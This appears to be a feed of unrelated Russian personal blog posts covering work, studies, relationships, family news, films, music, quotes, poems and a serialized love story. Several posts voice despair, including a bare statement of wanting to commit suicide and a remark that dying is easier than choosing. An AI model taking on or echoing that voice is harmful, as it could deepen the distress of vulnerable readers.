Когда мы с ним расстались, я закусывала свои слезы виноградом. На этот раз я не хотела мириться с ним. Ни-ког-да. Он выпил из меня все соки. Я обязательно куплю вышивку крестиком и забуду его! Я Клянусь, я забуду его!

"Писать друг-другу невзначай пустые смс- это как детский интерес заглянуть под занавес."

Emma Watson for Vogue UK (2015)

Эта девушка - сплошное вдохновение. Для меня она образец внешней и внутренний красоты, потрясающего английского, ума и безграничного таланта. Та, что борется за права женщин и мужчин, не зависит от общественного мнения и всегда преподносит себя такой, какая она есть. Прекрасная, прекрасная Эмма.

Наши мысли - это бесконечный поток. Он может быть неуслышан, непрочитан, непонятен, но он имеет место быть.

Ну вот и я теперь студентка. Вечерка. Будем стараться.

Я выпала в осадок короч.

Введу в курс дела: я работаю в частной бух. компании. Нас тут всего трое. Так вот. Главный вчера ушёл в отпуск, тобишь остались я и Олег.

Сижу такая, гребу бумаги в предвкушении приближения 6 часов и окончания рабочего дня… входит Олег (около 17-17:10) и выдаёт:

—Ну, я пошёл, до понедельника, хороших выходных (и что-то ещё в этом роде). Тебе ещё много разбирать?

—Ну так, вот эта стопочка ещё.

—Ну хорошо, сиди тогда. Пока!

И я такая ШТА?!

Ок. Всё типа как и надо. Бомбит у меня жесть. Сама бы ускакала, только мой едет ещё. Мда. Пойду собираться потихоньку.

это история как друг оказался вдруг. который раз убеждаюсь, что мужчинам нельзя верить. ну как мужчинам…парням. я думаю настоящие мужчины существуют таки, чье слово истинно, как правда и твердо, как камень. и если у меня так происходит в жизни - это всего лишь означает то, что мне не стоит быть с теми или иными людьми. я это знаю. немного грустно терять "друзей-мужиков", но если они так поступают, то какие нахрен это друзья. вообщем мне жаль, совсем немного. но хотя бы всё теперь прояснилось. минус один "до безумия влюбленный в Вас, Юлия". ну что сказать, аревуар, всего хорошего! любви и белых голубей))

Когда взгляд подразумевает больше, чем просто взгляд?

Говорят, что люди смотрят на людей, которые им нравятся, когда смеются или пытаются что-то вспомнить(сообразить).

В последнее время моим "хобби" стало наблюдать за людьми, за их манерами и поведением. Это не так скучно, как может звучать. Это очень занимательно: видеть, как человек реагирует в той или иной ситуации. Когда намеренно реагируют, улыбаются или грустят. Я все больше нахожу подтверждения мысли, описанной выше.

Но вот незадача. Когда это касается меня, в голове появляется вопрос: "какого черта?", "Как ответить на этот взгляд?" или "действительно ли это то, что я думаю?".

Меня раздражает, когда говорят, что глаза показывают настоящие чувства. Это не всегда так, за симпатией может скрываться ненависть и отчаяние. И, наоборот, за ненавистью может скрываться любовь.

Глаза - не зеркало души. Может на физическом уровне и происходит реакция, но это физическое. Я думаю, что глаза - это лабиринт из зеркал, в которых можно легко запутаться и заблудиться. Заблуждение и приводит к неправильному пониманию человека.

Дорога… ;) ждала этого момента. Теперь пять дней отдыха в палатке. Лес, речка и музыка.. много музыки)) едем группой играть в палаточный лагерь. второй по счету за это лето. Потом будут еще две свадьбы и штук пять мероприятий. Надеюсь всё выйдет как планирую, а то эта учеба. Всем добра; *

сегодня ехала в маршрутке, в наушниках играла wait m83, на телефон пришло сообщение-ответ на мое "поздравляю, теперь ты папа!" от брата: "спасибо, тетя маша)) " и я заплакала. глаза как-то сами оказались на мокром месте от осознания того, что твой родной и самый единственный и самый большой старший брат стал папой в первый раз, а его чудесная жена прошла все круги ада и сама стала мамой в первый раз в жизни. что твои родители теперь бабушка с дедушкой, а ты сама такая вот небольшая тетя. просто это какое-то счастье, понимаете? счастье за других.

Точка зрения мечется со скоростью распространения электромагнитного излучения в вакууме. То, что вчера казалось квинтэссенцией личностного прогресса/регресса/хотя бы чего-нибудь, сегодня кажется полнейшим дерьмом и потерянным временем. Я в принципе не понимаю, как и зачем вообще мой организм биосинтезировал. Единственное событие ближайших двух лет, о котором я не жалею - выбор будущей профессии. Если этот поток сумбурных мыслей, подобный настоящему, остановится, поспособствует этому лишь новая порция учебного материала.

А сейчас я искренне раздражена каждой свой чертой. Как можно вообще называть себя личностью, если я сгусток всевозможных чужих образов, но ни одно из предполагаемых качеств не является моим. Да, пожалуй, единственное моё базовое свойство - заимствовать все самые отвратительные повадки избранных адептов социума и развивать полученные скиллы до максимума. Я бросаюсь в крайности буквально во всём, и это больше не кажется забавным.

Август - самое время со всем разобраться. Чудным образом от меня отвернулись буквально все, кто настойчиво донимал своим общением последние месяцы. Чудным образом от меня отвернулись и родители. Не то чтобы мы вообще когда-либо были близки, но больно уж резко все вдруг прониклись неприязнью ко мне. И я рада, что могу разобраться со всем сама (я ничего не могу).

Выходить вечером и лежать на асфальте, что через трассу от дома. Любоваться звёздами и отвечать прохожим, что я в порядке. Загадывать желания, а потом думать, на кой чёрт мн это нужно. Говорить вроде как с единственным человеком, который продолжает видеть в тебе лучшее, а вроде как и с самой собой. Возвращаться домой и, вопреки дневному объему размышлений, в очередной раз противоречить себе и продолжать искать общения там, где его не ждут. Я и сама не знаю, чего жду. Пообещать себе совершить последний звонок в середине августа и заткнуться. Оставить их всех хотя бы до конца лета.

Пролистать написанное и снова удивиться бессвязному набору ненужных восклицаний. А это лето бьёт все рекорды по своей продуктивности.

Я тут подумала о репетиторстве, так что если кто-нибудь захочет встать на нескончаемый путь изучения китайского языка- прошу!

https://www.avito.ru/moskva/predlozheniya_uslug/repetitor_kitayskogo_yazyka_620141748

Если хочешь о важном — давай о важном.

Хотя это понятие так двояко.

Одиночество — вовсе не так уж страшно,

Страшно в 21 умереть от рака.

Страшно ночью не спать от грызучей боли,

Что вползает под кожу и ест с корнями,

А ты роешь могилу от слов: "Уволен",

Или "Лучше остаться с тобой друзьями".

Говоришь, как пугающи предпосылки

Неизбежности рока, судьбы, удела?

Страшен выбор — идти собирать бутылки,

Или сразу идти на торговлю телом.

Говоришь, нет квартиры в многоэтажке,

Платежи коммунальные шею душат?

А когда-то хватало малины в чашке

И оладушек бабушкиных на ужин.

Говоришь, что вокруг — дураки и драмы,

Что в кошмарах — тупые пустые лица.

Страшно — в девять ребенку лишиться мамы!

Страшно — маме ребенку не дать родиться!

Страшно видеть, как мир в себе носит злобу,

Как друзья обменялись ножами в спину.

Если хочешь о важном — давай о добром.

Как быть добрым хотя бы наполовину?

Как найти в себе силу остаться честным,

Ощутить в себе волю, очистить душу?

Правда, хочешь о важном? Садись.

Чудесно, что ты еще хочешь слушать.

Я хочу покончить жизнь самоубийством

Как обрести силу воли.Ее вообще можно заслужить, купить, или это кому то дано, а кто то как я.Я бы душу отдала за силу воли.Мне без нее очень тяжко.И даже не считая того что я не могу отказаться от сладкого.Но даже книга или фильм даются мне с огромным трудом.

Я знаю что привычки формируются в течении 60 дней.И так начнем…

Больше я не хочу ничего видеть. Мне противно смотреть на все это

Знаете, какое чувство я ненавижу? Это чувство в животе, когда очень волнуешься. Словно органы смещаются, и кто-то ест изнутри.

Раньше терпеть не могла убираться, а сейчас просто иду и делаю. А потом сижу, вспоминаю выполненную работу и кайфууую

EVEREST Trailer #2 (2015)

обожаю эту арку. и через 13 дней по ней ова

Думаю, нужно прекращать жаловаться на жизнь. Или хотя бы если и жаловаться, то только цитатами из писем Чехова.

К примеру:

"Вам хочется кутнуть. А мне ужасно хочется. Тянет к морю адски. Пожить в Ялте или Феодосии одну неделю для меня было бы истинным наслаждением. Дома хорошо, но на пароходе, кажется, было бы в 1000 раз лучше. Свободы хочется и денег. Сидеть бы на палубе, трескать вино и беседовать о литературе, а вечером дамы.

Не поедете ли Вы в сентябре на юг? Конечно, русский юг, так как на заграничный у меня не хватит денег. Поехали бы вместе, буде Вам не противно".

Вот.

Ну неужели! Свершилось!!

Угадайте, кто теперь чувствует себя хасла чуваком с серебряной ложкой в *опе?! О, дааа,

итс ми!

(и тут я как)

Мне поставили кондеей, шикую теперь сижу. Только что покушала, ибо сидела с Олегом

(зам), а при нём как-то не елось совсем…От работы не отрывалась.

Звонили из банка- карточка моя готова, что, кстати, странно, ибо я подавала доки только в

среду. Неужели Сберыч начал таки нормальных работников нанимать, которые и правда

всё быстро делают? А то уже стал походить на Приват Банк (*овно редкостное. На деле

знаю- практику там проходила. Я ж банкир =.=")

К слову…я тут задумалась…далеко ж я ускакала! Отучилась на Банковское дело, а

работаю бухгалтером xD Немного странно, как мне кажется.

Ох, точно, пятница ж!! Завтра в Мск обещают чуть ли не под 34 градуса, так что надо

будет что-нибудь замутить..

Пошла я дорабатывать короче. Всем хорошо провести остаток дня!

мне так херово. она к тебе приехала с отцом.збс. ненавижу тебя. вас. они лучше меня, красивее и умнее. а я не дотягиваю.. даже Катя кинула меня. я ей названивала, смс писала, а спустя 3 часа звоню и она разговаривает с кем-то. ну ок. выйду с Аней. хочу сейчас тупо рыдать и курить. удалила тебя из друзей, бросила в чс и удалила свою страницу. я понимаю, что это все по-детски, но я не могу выдержать таких сообщений, с насмешкой и смеющимися смайликами. мне больно. хочу подстричь волосы под каре, как в том году. тогда же я тоже из-за депрессии подстриглась коротко.

Совсем забыла…ребятки-котятки…у меня есть инстаграм)) Я правда там не очень часто бываю…но стараюсь бывать почаще!) кому интересно - подписывайтесь, и пишите в коменты ссылки на ваш инстаграм)

Всех люблю!*)

С гордостью и благодарностью принимаю music tag от tracylannister . Передаю be-alright .

P.S. на вкус и цвет товарищей нет.
P.P.S. лучше длинное название блога, чем цифры ;)

b ody Party (Cleindl Remix) - Ciara
h omeless - Khat
b reezeblocks - Alt-J
c rystalised - The XX
r un Boy Run - Woodkid
f rom Finner - Of Monsters And Men
1 957 - Milo Greene
2 7 Club - CHLØË BLACK
3 1-я весна - Ночные снайперы (извиняйте)
4 0 Day Dream - Edward Sharpe and the Magnetic Zeros

Когда приходит зарплата у меня как будто появляется цель "ПОТРАТИТЬ ВСЕ СРАЗУ". И все таким нужным становится, и заканчивается все. Один месяц у меня заканчивается одно, а в другой - другое. И так каждый месяц у меня не прерывная цепь.
Как люди умудряются откладывать деньги ? Может быть дело в количестве зарплаты, если бы её было больше, может и получилось что-то да отложить. Хотя о чем я. Я бы просто покупала те вещи что мне нужны, но уже подороже.

Духи купила, они мне напоминают Оксану) ) Она вроде такими пользовалась или пользуется еще, не знаю. Они довольно таки приятные, не резкие, немножко сладкие и в то же время со свежестью. На упаковке еще Наоми Кемпбел. Она же старая такая, нет ? Я старая. Да.

Приезжай скорее, я хочу смеяться

Меньше чем через неделю я буду в прекрасном месте, в родной деревне, в Молдавии. Где привычные пейзажи радуют взор, а вкуанейшие блюда моей тёти Оксаны радуют желудок.

Лишний раз убеждаюсь, что это мой человек. Абсолютно.
Вчера на меня напало "анти-настроение" и разговор с сестрой был в русле того, что я сомневаюсь в своих чувствах. Сестра естественно(для меня естественно) не поддержала меня, даже обиделась))) Аргументировала тем, что В очень хороший и я просто дура.
А вечером был разговор с В. Очень долгий. И я все хотела предложить ему сделать небольшой перерыв сегодня - режим молчания….но так и не решилась ему это сказать.
Сегодня, он словно понял мое настроение - один звонок за весь день. Мне действительно иногда нужно побыть одной.

Милости-приятности!

Не была тут всего пару дней, захожу и милости-приятности ^__^

На меня подписалось аж три замечательнейших блога:
littlesadpanda2, arizella, literatorvi

Очень приятно!
Спасибо большое, девочки =*
Вот по таким причинам и хочется писать!!

Я подписалась взаимно!!

потом они удивляются, почему девочки мечтают о прекрасных принцах.ха*__*

Наследники

Descendants

После прихода к власти молодой монарх выдает новый указ — «амнистию», по которой всем наследникам известных злодеев, которые находятся в заточении на острове, дается второй шанс. Всех отправляют в школу, в которой учатся дети Белоснежки, Рапунцель и других позитивных героев. Тут второму поколению предстоит определить для себя — продолжать дело родителей, или же начать все с чистого листа.

итак, очередной оригинальный Диснеевский фильм. я обожаю почти все, что делает Дисней. серьезно. я посмотрела почти все оригинальные фильмы и сериалы. я не могла пройти мимо этого фильма, тем более, что его режиссер сам Кенни Ортега. да, тот самый, который подарил миру "Классный мюзикл", и с чего началась моя любовь к Диснею.ха люблю мюзиклы, и к моей радости в "Наследниках" много крутых песен и заводных танцев*__* также дружба, любовь и вечная борьба добра со злом, в которой добро побеждает. всегда. в общем, если вы такой же фанат Диснея, или вы просто любите семейные фильмы-мюзиклы, то этот фильм для вас ;)

ну и конечно, я снова влюбилась в принца :D посмотрите на этого милаху*__*

Сидишь на процедуре, и тебе девочка начинает рассказывать про своего 'младшего двоюродного братишку', все факты сходятся и ты понимаешь, чт этот братишка трогал лицо, а ты вздрагивала лишь от удовольствия) а это говорит о чем) Как будто, чтобы выкинуть что-то из головы, стоит переехать в другой город.

Судьба, зачем ты мне даришь людей и забираешь их тогда, тогда я привязалась? Оставь мне этого человека. Он вернул мне эмоции. Мне с ним хорошо. Пожалуйста, он мне нужен: с

Увидеть человека без подвоха, который не оставит и не даст уйти.
Такого же заблудшего, уставшего, хранящего свои мечты.
Довериться и снять оковы,
Отдаться полностью узревшему в тебе знакомые симптомы
Раскрыв тем самым суть вселенского закона о любви.

Рослый стрелок, осторожный охотник, Призрак с ружьем на разливе души! Не добирай меня сотым до сотни, Чувству на корм по частям не кроши. Б.Л.Пастернак

Легче умереть, чем делать такой выбор. Я думала я не дойду до этой развилки: 2 дороги которые я бы хотела суметь объединить в одну. Почему человек должен выбирать? И не просто "кофе или чай", а " твоя мечта или твоя супермечта " ?

Да, мне повезло, что сбудется как минимум одна, но я хочу ощущать свободу от решений, а не ограничивать себя из-за них. Знаю, что говорю очень абстрактно. В двух словах, меня ставят перед жёстким выбором: моё образование, деньги, путешествия и тому подобное или же танцевальная карьера. Меня просто не могут наконец оставить в покое!!!!! Чем эти танцы им не угодили…. Я в жизни так ничего не любила, а они хотят лишить меня моего воздуха. Но в тоже время мама всю жизнь мечтала о других вещах: образованная дочь и беззаботная жизнь. Теперь мы можем себе это позволить, но при условии, что я больше никогда не затанцую. Я что, попала в какой-то фильм ужасов? .. Как же она ненавидит танцы…. Я в шоке, я опустошена. Я не знаю что делать. Не понимаю как можно выбрать: подвести мать и делать то, о чём мечтала, или же запереть себя в золотую клетку. Да, легче умереть, чем делать ТАКОЙ выбор.

Надо просто жить. Баловать себя вкусным, строить семью или не строить, делать карьеру или не делать, уезжать в другие страны, читать красивые книги, ходить босиком по весенней траве, собирать полевые цветы, булькать лимонадом через трубочку и временами поворачиваться задом к стереотипам общества.

Эльчин Сафарли

Я все время бегу от проблем. В прошлом году уехала за сотни километров, чтобы не думать о ее поступке, о том, как поступить МНЕ, и сейчас делаю так же. Я дома всего на 8 дней, а потом опять новый город, новые люди, те же мысли. И каждый день этой долгой недели я стараюсь заполнить делами, чтобы не думать о нем. Г. говорит, что лучший способ найти решение, это сменить место дислокации, отречься от проблемы, отдалиться от нее. Думаю, у него тоже что-то не так, но он же гордый, он не признается. У меня есть люди, с которыми я обсуждаю все, вот прям все, но мне некому сказать, что у нас не все гладко, что я будто задыхаюсь в этих отношениях, тону. Д. считает, что мы просто идеальная парочка, думает, что нам хорошо. Может, это и так для него, я не знаю, но мне иногда хочется, чтобы он просто банально накричал, заметил, что все изменилось, что у нас проблемы. Родители ничего не знают, даже не подозревают. А знаете, что самое ироничное в этой ситуации? Я сбегаю в город, где он родился, где рос, и где живет его отец с семьей, куда он приедет через несколько дней, чтобы провести отпуск вместе. Все довольно запутано даже в моих мыслях, а уж здесь и вовсе выглядит как клубок наушников в сумке. Но мне просто надо хоть где-то это сказать, чтобы хоть кто-то знал, был в курсе. Мы очень красивая пара, и когда- то это было для меня чуть ли не главным критерием в отношениях. Но вот ты получаешь, то что хочешь, и оказывается, что в реальности все не так шикарно, мечта может обернуться… не тем. И я даже боюсь спросить себя любовь ли это. Но в одном я уверена. Я люблю себя, и это поможет мне разобраться во всем.

P.s. Я как то не поняла этого до того, как начала писать здесь, но все таки есть человек, который сможет…осознать, что я это не умышленно делаю. Есть Эс для Би, есть Стайлз для Скотта. А значит не все еще потеряно.

— Я доверяю тебе. Для меня это важнее чем "Я люблю тебя ". Намного важнее. Я доверяю тебе.

© Shameless 3x03

За четыре месяца до смерти Антона…

…В дождливый сентябрьский вечер Антон с загадочной улыбкой «носился» по дому, что-то искал, перекладывал с места на место…нервно раскидывал вещи и не мог и на минуту перевести дух. Паника не свойственна его характеру, и впервые за время нашего знакомства я увидела нечто подобное. Чуть позже, придя ко мне с кружкой чая и с моей любимой уверенность в своих черных глазах, он предложил мне прогулку.

Время шло к полуночи, дождь прекратил свое шествие, и в воздухе пахло мокрой землей. Уговором нашего «путешествия» было то, что я поеду с завязанными глазами. Тот азарт и страсть в его голосе подкупили меня и я не раздумывая согласилась.

С детства имея проблемы со зрением я научилась ориентироваться по другим органам чувств. Сидя в машине с завязанными глазами и высчитывая повороты от дом, я гадала о месте нашего прибытия.

***

Старое кладбище, на котором дивным давно не проводились захоронения, но которое располагало удивительными памятниками и некой приятной атмосферой нашего «нездорового романтизма», было выбрано Антоном для прогулки в полночь.

Именно на этом кладбище, очутилась я с завязанными, а чуть позже развязанными глазами.

Именно на этом кладбище ровно в полночь он сделал мне предложение.

Именно на этом кладбище мы произнесли те самые заветные клятвы.

Именно на этом кладбище мне дали обещание, что нашей любив суждено закончится только в этом месте. Что и явилось мой страшной реальностью

Именно это кладбище впоследствии сделало для нас исключение.

Именно на этом кладбище под обелиском «спит» любовь моя…

Именно это клабдище я люблю и проклинаю. Может зря мы играли со смертью в такие игры…такие громкие слова, в таком месте. Был ли это знак?-Не знаю.

Чувственность зашкаливает.
Сладострастие в каждой ноте.
Любовь, граничащая с убийственной агрессией.
На грани, за гранью. И уже нет никаких границ.
Есть только ты и эта песня.

Март…или три с половиной месяца без Антона.

…Моя беременность стала моей новой болью. Имея начальный этап медицинского образования, я являлась и являюсь противницей абортов (если они не показаны по клиническим причинам). Но родить ребенка от человека, к которому «не лежит душа», верное ли решение?!

Многие девушки делают выбор самостоятельно, не обсудив это со своим партнером. Личное дело каждого, но ведь маленькая жизнь внутри не принадлежит кому-то одному…еще совсем крохотный эмбрион имеет 50% от матери и 50% от отца, значит он общий и решать двоим.

***

Целый месяц, скрываясь от Глеба, я обдумывала, стоит ли говорить ему что-то, и что мы будем делать. Решение далось нелегко.

Первоначально он был рад моему появлению, рад был слышать голос и просто быть рядом. Новость о ребенке на мгновение повергла в шок, затем на лице появилась такая знакомая и некогда любимая улыбка. Удивительно, но Глеб был счастлив! В тихой и уютной кофейне, в который мы сидели, пронесся ураган, ураган по имени Глеб.Он вихрем подлетел ко мне, нежно обняв и положив одну руку на живот. «У нас будет маленький!», - ласково сказал он. Это и был его выбор.

Я прекрасная знала о чувствах Глеба, он прекрасно знал о моих теплых дружеских симпатиях по отношению к нему. После смерти Антона, будучи всегда предельно откровенным и самоуверенным, он не скрывал не передо мной, не перед друзьями/ знакомыми того факта, что добьется меня. Отсутствие видимого «соперника», который был косвенно, да и то побольшей части только у меня в голове, давало ему преимущество. Так что утаивать то, что события легли наиболее удачным образом для него, он не стал.

Глеб любил детей, планировал семью… но только раньше мне и в голову придти не могло, что частью всего этого стану я. «…Ребенок свяжет нас вместе. Даст тебе шанс присмотреться ко мне, полюбить меня… А даже если это не так, то я буду любить за нас двоих, ведь у нас теперь есть маленький- а это счастье в кубе…», - эти слово Глеба застыли в моей памяти до сих пор. Ребенка было решено оставить, а наши отношения зависли в воздухе.

Мы решили смешать любовь, дружбу и результат двух выше перечисленный компонентов. Это было мое следующее, но далеко не первое и не последнее неправильно решение.

Такие как ты, не стираются временем. бэкспейсами, ластиком, делитами даже. такие как ты не местоимения. такие как ты не выводятся ванишем.

ДАДАДАДА, ЧЕРТ ВОЗЬМИ, ДАААААААААААААААААА

Я ПОСТУПИЛА !!!

аааааа, сколько счастья!!! дадада, можете поздравить теперь я официально студент ВГМУ им. Н.Н. Бурденко: 3333333333

Пусть я по целевому не прошла, но прошла на коммерцию. Сколько слез и нервов было потрачено с одним только поступлением. Каждый день я задавалась уже почти риторическим вопросом: "КАК БЫТЬ И ЧТО ДЕЛАТЬ?" Я очень боялась никуда не поступить и остаться с разбитыми мечтами.

Спасибо огромное моей матушке, которая единственная, наверное, до последнего верила, что я пройду. И я прошла. Маааама, спасибо большое!♥♥

Впереди меня ждут очень огромные трудности, но если честно, я сама этого хочу. Я хочу тааак сильно заебываться учебой, что даже на интернет и прочую фигню у меня не было сил.

Я очень счастлива, ураааааа♥

Are you a feminist?

В прошлом сентябре я запустила компанию с ООН в Нью-Йорке, которая называется«HeForShe», куда могут вступать мужчины для поддержки женщин и женщины для поддержки мужчин, что бы достичь гендерного равенства.

Знакомый из прошлого, прости, но не могу тебя увидеть и поздороваться, ведь мне надо срочно проверить заблокирован ли мой телефон, как жаль.

Всю свою сознательную жизнь я балансирую между желаниями наебениться и блядь забыл какое второе, ладно.

— Говорят, ты врёшь много.
— Нет, не вру.
— А ты хорош

Не идите спать. Продукты нужно уничтожать. Жрать и жрать, без сна и отдыха! Жрать за себя, жрать за родину, жрать! Жрать лучше чем любить

Кто вы такие, чтобы судить?

THE WEEKND – THE HILLS.

I only love it when you touch me, not feel me
When I'm fucked up, that's the real me, babe.

Такое ощущение, будто вчера я выблевала какой-то орган. Это лето я надолго запомню, точнее запомню всего лишь половину, потому что вторую половину я просто-напросто не помню.
Физически мне плохо - хромаю, голова болит, мышцы болят ужасно. На душе тоже дерьмово, но по сути я не могу все полностью понять.
Единственное что я знаю - С мне очень нравится, и ничего с этим поделать я не могу, да и не хочу. Могу долго писать о том какой он, но в этом нет никакого смысла.
Очень надеюсь, что он с И не перейдут, потому что тогда моя жизнь станет дико скучной, а именно этого я больше всего боюсь.
до конца лета 22 дня. скоро конец

Привет, хорошие. Как Ваши дела? Как проходят дни? Милый сладко спит, а я проснулась уже час назад, зашиваю ему шорты..) Я не я.) Мы уже 5 дней не ссорились и вообще, это самые счастливые дни в моей жизни. Я так его люблю.

Ну что за сексуальный пирожок

Реально загорелась идеей все таки собрать эти несчастные деньги на билет. Начала с того, что закинула на киви кошелек 20 рублей. Да, может это смешно, но уже что-то.

Спасибо mmagicinside за то, что предложила помочь. Это оооочень приятно, но не удобно брать деньги, которые могут пойти на что-то действительно доброе.

Яна отдаст 200, рублей 400 подарят на др, плюс карманные расходы. Было бы конечно нереально круто попросить у вас, но меня же совесть заест. Тем более горжусь тем, что у меня не бывает долгов.

Начало есть, осталось не отступать.

Настолько обнаглела, что громко прошу остановиться в маршрутках, а ещё заставляю людей открывать люки, потому что как-то плохо стала переносить духоту в транспорте. Началось всё с того, что я перестала "вздеваться" как на Северный полюс (пишется с большой буквы, так как он один?..) и теперь постоянно хожу максимум в хлопковой накидке даже в плюс 16. А я ведь такая тепличная барышня и зяблик, что это для меня подвиг. Правда, на работе всё равно накидываю что-то потеплее, ведь у нас стены натурально по 2 метра толщиной, сидим как в холодильнике. А что вы хотели от здания 16 века?
В обед хожу на городской пляж - идти аж 30 секунд! Приперла плед сюда, чинно по полчаса валяюсь на травке. В моих мечтах я ещё и читаю, но, как правило, пялюсь на облака и дремлю. Ещё традиционно обляпываюсь мороженым, но это у кого-то дырявые руки.

Если проще, то живу по принципу "хочу халву ем, хочу - пряники". Ходила тут ещё на бесплатную (вестник нищеброда!) тренировку по бегу. Одна. Как-то давно дошло до меня, что вряд ли кому-то, кроме самой меня, будет интересно ровно то же, что и мне (как Шопенгауэр смолвила, не меньше). Ну и задолбало меня звать кого-то, ждать, звонить (с этим у меня особенные проблемы) … Себя я приглашаю на мероприятия ментально, а ответ получаю моментально вотэтокаламбур

ps спонсор этого поста - "мне лень работать". "мне лень работать" - займусь чем угодно, только не работой.

pps у меня какой-то нежданный прилив (привал? завал?) следящих, но почта не признается, ху из. обычно я так не делаю, но, похоже, вы пришли организованной толпой, побьете ещё, поэтому 'здрасьте'.

— Если ты еще раз выкинешь нечто подобное, я разведусь с тобой, заберу все твои деньги и у тебя не останется ни малейших шансов на политическую карьеру.

Как избежать наказания за убийство, 1x03

ты где моя любимая

Альбер Камю

С. Есенин

дышать.